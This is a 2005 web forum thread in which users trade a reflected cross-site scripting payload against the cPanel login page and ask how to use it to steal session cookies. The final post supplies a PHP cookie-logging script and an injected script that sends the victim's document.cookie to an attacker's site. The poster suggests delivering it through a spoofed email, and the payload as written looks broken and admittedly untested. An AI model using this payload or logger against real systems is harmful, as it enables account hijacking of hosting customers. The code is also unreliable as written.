Waraxe IT Security Portal
Login or Register
November 18, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 75
Members: 0
Total: 75
Full disclosure
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
4 vulnerabilities in ibmsecurity
32 vulnerabilities in IBM Security Verify Access
xlibre Xnest security advisory & bugfix releases
APPLE-SA-10-29-2024-1 Safari 18.1
SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600)
SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333)
APPLE-SA-10-28-2024-8 visionOS 2.1
APPLE-SA-10-28-2024-7 tvOS 18.1
APPLE-SA-10-28-2024-6 watchOS 11.1
APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1
APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> A Vulnerable in cpanel
Post new topicReply to topic View previous topic :: View next topic
A Vulnerable in cpanel
PostPosted: Wed Jun 22, 2005 1:06 am Reply with quote
Dendy
Regular user
Regular user
Joined: Jun 20, 2005
Posts: 9




there is a Vulnerable:

cPanel cPanel 10.2
cPanel cPanel 9.1
cPanel cPanel 9.0
cPanel cPanel 8.0
cPanel cPanel 7.0
cPanel cPanel 6.4.2 .STABLE_48
cPanel cPanel 6.4.2
cPanel cPanel 6.4.1
cPanel cPanel 6.4
cPanel cPanel 6.2
cPanel cPanel 6.0
cPanel cPanel 5.3
cPanel cPanel 5.0

Code:
login?user=**<script>javascript:alert(document.cookie);</script>


to use it ex.: http://www.xxxx.com:2082/login?user=**<script>javascript:alert(document.cookie);</script>

but as u can see it gives us : ( Nested quantifiers before HERE mark in regex m/^** << HERE :/ at cpsrvd.pl line 1720, line 1. )

but in the cPanel 10.2 it gives an error in different line nos

how can i modify it to use it

any help........ Surprised


Last edited by Dendy on Wed Jun 22, 2005 1:19 pm; edited 2 times in total
View user's profile Send private message Visit poster's website Yahoo Messenger MSN Messenger ICQ Number
PostPosted: Wed Jun 22, 2005 11:02 am Reply with quote
KingOfSka
Advanced user
Advanced user
Joined: Mar 13, 2005
Posts: 61




1st : don't post link to real site Very Happy
2nd: this is not an sql injection but an XSS
3rd: if this exploit is for cpanel <= 1.8 , that site is using cpanel 10 so it wouldn't work Very Happy
View user's profile Send private message Visit poster's website
PostPosted: Wed Jun 22, 2005 1:27 pm Reply with quote
Dendy
Regular user
Regular user
Joined: Jun 20, 2005
Posts: 9




sorry for putting links and thnx u dude but i put it not coz it in the site but to learn how to use it .
View user's profile Send private message Visit poster's website Yahoo Messenger MSN Messenger ICQ Number
PostPosted: Wed Jul 13, 2005 5:03 am Reply with quote
theOne
Regular user
Regular user
Joined: May 31, 2005
Posts: 8




Um i get a popup with the username_mysql cookie info, how can i use this tho? or how can I copy this so I can use it with httpd and send the info thus making cpanel think i'm the username?
View user's profile Send private message
Cpan vul
PostPosted: Thu Jul 14, 2005 12:30 pm Reply with quote
neo_hack
Regular user
Regular user
Joined: Jul 04, 2005
Posts: 6




Any idea how to rewrite it and make it work ?
View user's profile Send private message
a solve
PostPosted: Tue Aug 30, 2005 3:20 am Reply with quote
kingasawa
Beginner
Beginner
Joined: May 20, 2004
Posts: 1




i know a way for exploiting that bug ...

1/creat a file kingasawa.php with source code :

Code:
<?php

define ("LINE", "\r\n");

define ("HTML_LINE", "<br>");

function getvars($arr, $title)

{

$res = "";

$len = count($arr);

if ($len>0)

{

if (strlen($title)>0)

{

print("[--------$title--------]" . HTML_LINE);

$res .= "[--------$title--------]" . LINE;

}

foreach ($arr as $key => $value)

{

print("[$key]" . HTML_LINE);

print($arr[$key] . HTML_LINE);

$res .= "[$ key]" . LINE . $arr[$key] . LINE;

}

}

return $res;

}

$now = date("Y-m-d H : i : s ");

$myData = "[-----$now-----]" . LINE;

$myData .= getvars($HTTP_GET_VARS, "");

// ten file ma cookie se luu vao
$file = "cookie.txt";

$mode = "r+";

if (!file_exists($file))

$mode = "w+";

$fp = fopen ($file, $mode);

fseek($fp, 0, SEEK_END);

fwrite($fp, $myData);

fclose($fp);

?>


after that , u can fake email for sending to ur victim with content

Code:
http://www.victim.com:2082/login?user=**<script>document.write(http://your-website/cookie.php?docs='+escape(document.cookie)+')</script>

and u creat a file cookie.txt for saving that cookie ...

----------
i haven't checked it .... correct me if wrong :P

_________________
Kingasawa Asakura
VietNam Magic Team
http://vnmagic.net
View user's profile Send private message Visit poster's website Yahoo Messenger
A Vulnerable in cpanel
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.043 Seconds